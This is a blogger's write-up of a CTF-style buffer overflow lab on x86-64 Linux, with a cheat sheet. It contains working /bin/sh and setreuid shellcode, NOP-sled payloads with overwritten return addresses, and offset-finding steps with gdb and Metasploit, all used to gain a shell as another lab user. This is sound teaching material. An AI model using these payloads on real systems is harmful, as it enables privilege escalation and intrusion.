Learn how to get started with basic Buffer Overflows on x86-64 linux programs!

Metadata

Tasks

Process Layout

- Heap: Memory set aside for dynamic calculations. - Stack: Information required to run the program - registers, functions, arguments, etc.

Bellow is an image to visualise the difference:

x86-64 Procedures

Stack operations:

Examples:

Frames:

• Allocates a "frame" once a function is called.
• Used to store the function variables, arguments etc.
• Deallocated once function is complete.

Procedures Continued

Let us better understand assembly and memory using this example:

C code

int add(int a, int b){
   int new = a + b;
   return new;
}

int calc(int a, int b){
   int final = add(a, b);
   return final;
}

calc(4, 5)

x86-64 assembly:

Terms:

Registers (store arguments):

"Might be changed" = "Caller saved"; "Will not be changed" = "Callee saved". - https://math.hws.edu/eck/cs220/f22/registers.html

Endianess

Overwriting Variables

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int variable = 0;
  char buffer[14];

  gets(buffer);

  if(variable != 0) {
      printf("You have changed the value of the variable\n");
  } else {
      printf("Try again?\n");
  }
}

Assuming that the stack doesn't add padding to the 14 bytes, we need to simply overflow those 14 bytes. Keep in mind that the stack push characters toward the bottom - thus overflowing into the variable when overflowing the buffer in the memory.

Overwriting Function Pointers

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

void special()
{
    printf("this is the special function\n");
    printf("you did this, friend!\n");
}

void normal()
{
    printf("this is the normal function\n");
}

void other()
{
    printf("why is this here?");
}

int main(int argc, char **argv)
{
    volatile int (*new_ptr) () = normal;
    char buffer[14];
    gets(buffer);
    new_ptr();
}

Here we want to overflow the pointer to instead point to the special function. First we need to locate where in the memory special is located. This we can do with gdb. Start with gdb func-pointer.

Now we can run inside gdb to see how many characters we can use for the buffer overflow. Since the buffer-variable is 14 bytes long - we should be overflowing our variable at that point. However there might be some padding, so we start with making it 15 character long and then increasing by 1 till we have reached our buffer limit.

\x67\x05\x40\x00\x00\x00

So to instead point the function to the special function we run the following:

Buffer Overflows

The program:

#include <stdio.h>
#include <stdlib.h>

void copy_arg(char *string)
{
    char buffer[140];
    strcpy(buffer, string);
    printf("%s\n", buffer);
    return 0;
}

int main(int argc, char **argv)
{
    printf("Here's a program that echo's out your input\n");
    copy_arg(argv[1]);
}

The shellcode to open a shell:

\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05

No Operations (NOP) slide:

Finding the offset

Manually

Starting this exercise we will once again be utilising gdb. To finding the offset (where we start to overflow into the return value). Looking at the source code we know the buffer is 140 bytes long. However there will be saved registers in between the buffer and return address.

So to try and find the offset we need to at least go highest than 140 bytes, looking for `\x41` (hex value of 'A') in the return address to see when we overflow.

With 6 bytes as the return address, the offset is 152.

We can also find the same 6 bytes running i r.

With Metasploit

We can utilise pattern_create and pattern_offset in metasploit to find the offset in a more automatic manner.

Start by using pattern_create:

Could not find 'rex-text'

Edit the file and change the shebang:

Now we want to run the program again with the generated string (`run 'STRING'`). Then we can inspect the registers with `i r`:

By copying these 8 bytes (64-bits) and running pattern_offset we will get the offset to the rbp, but to get the offset for rip we need to add the 8 bytes of the rbp.

rbp offset + rbp size (8) = rip offset

This gives us: 144+8=152

Crafting our payload

Utilising a NOP sled in front of the payload given to us by the task should ensure that it gets executed.

Nop sled + payload + padding +a address of payload = 152 + address of payload

https://www.arsouyes.org/blog/2019/54_Shellcode/

shellcode = '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'

'\x90'*100 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*12 + 'B'*6

100 + 40 (payload length) + 12 + 6 = 152 + 6

This should give us all B:s (\x42) if run.

Now the only thing we need is the address of our payload (or anywhere on the sled). To do this we will examine the memory:

x/100x $rsp-200

However with little-endian, we will need to print the bytes in reverse, making the payload:

'\x90'*100 + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*12 + '\x48\xe9\xff\xff\xff\x7f'

We got a shell!! ... but as the wrong user.

Setuid, setreuid and editing the payload

Why we get a shell as user1 is because we launch the process with our user id. To recieve the shell as user2 we need to run the script with their effective user id:

First we need the user id of user2 - we do so by reading /etc/passwd:

Now we need to append a function in our shellcode to change EUID. We will generate the shellcode with pwntools.

Install pwntools (run as root):

apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

Pwntools is a CTF framework and exploit development library - of course with the possability of generating many shellcode functions. To generate what we want - I will run the following command.

pwn shellcraft -f d amd64.linux.setreuid 1002

This gave me the following: \x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05 (14)

Now prepend this to our shellcode, remember we have to remove some of the NOP sled equivelant to the size of the added shellcode.

'\x90'*86 + '\x31\xff\x66\xbf\xea\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05' + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*12 + '\x48\xe9\xff\xff\xff\x7f'

Buffer Overflows 2

#include <stdio.h>
#include <stdlib.h>

void concat_arg(char *string)
{
    char buffer[154] = "doggo";
    strcat(buffer, string);
    printf("new word is %s\n", buffer);
    return 0;
}

int main(int argc, char **argv)
{
    concat_arg(argv[1]);
}

It is very similar to the last task. Let's start with finding the offset.

buffer (154) + registry = offset

Generate a pattern to find the offset with pattern_create:

┌──(Hailst0rm(ソフ)sec)-[~]
└─$ /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

Now use pattern_offset to find the offset:

┌──(Hailst0rm(ソフ)sec)-[~]
└─$ /opt/metasploit-framework/embedded/framework/tools/exploit/pattern_offset.rb -l 200 -q 4133664132664131
[*] Exact match at offset 155

Registry offset + registry length = Return offset => 155 + 8 = 163

We can try this offset to confirm:

We can use the same shellcode as in the previous task - however we need to generate a new shellcode for the EUID.

pwn shellcraft -f d amd64.linux.setreuid 1003
\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05

Now simply do some math to make sure you use the offset. NOP sled + shellcode + padding = 163 => 90 + 54 + 19 = 163.

'\x90'*90 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05' + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*19 + 'B'*6

Now we run this in gdb to find the memory address of our shellcode.

Now simply replace the B:s with the address found. Remember that the system uses little-endian.

'\x90'*90 + '\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05' + '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'A'*19 + '\x24\xe9\xff\xff\xff\x7f'

Final comment

This was my first attempt at buffer overflow, thus some explanations may not be completely clear or even wrong. However I hope that this writeup has helped you in some way, shape, or form.

I want to shout out this writeup however, that goes a bit deeper into the different steps: https://l1ge.github.io/tryhackme_bof1/

Cheat Sheet

You can also find all of the following under the notes category.

Terms

x86-64

Registers

"Might be changed" = "Caller saved"; "Will not be changed" = "Callee saved". - https://math.hws.edu/eck/cs220/f22/registers.html

Finding the Offset

Metasploit

sudo cp "$(locate pattern_create.rb)" /usr/local/bin
sudo cp "$(locate pattern_offset.rb)" /usr/local/bin

pattern_create.rb -l 200
pattern_offset.rb -l 200 -q 4133664132664131

Could not find 'rex-text'

Edit the file and change the shebang:

GDB

Disassemble:

disassemble FUNCTION_NAME

Inspect registry:

i r

Examine memory:

x/100x $rsp-200

• x/: examine
• 100: Number of memory addresses to display
• x: display hex
• $rsp: Registry Stack Pointer, should be where the program end ~return
• -200: Go back 200 memory addresses

Crafting shellcode

Pwntools

Install pwntools (run as root):

apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

Set EUID (effective uid):

pwn shellcraft -f d amd64.linux.setreuid 1002

• shellcraft: Craft shell code
• -l: List available shellcodes
• -f: Format (d: escaped hex string)
• 1002: UID

x86-64 shell

https://www.arsouyes.org/blog/2019/54_Shellcode/

shellcode = '\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'

Support me

Thank you so much for reading and I hope you found it inspirational or helpful! You can best support me by doing any of the following bellow!

You can read more about the perks of being a Member or Subscriber here.

Additionally, you can stay updated and engage with me on social media:

Contact me here: [email protected]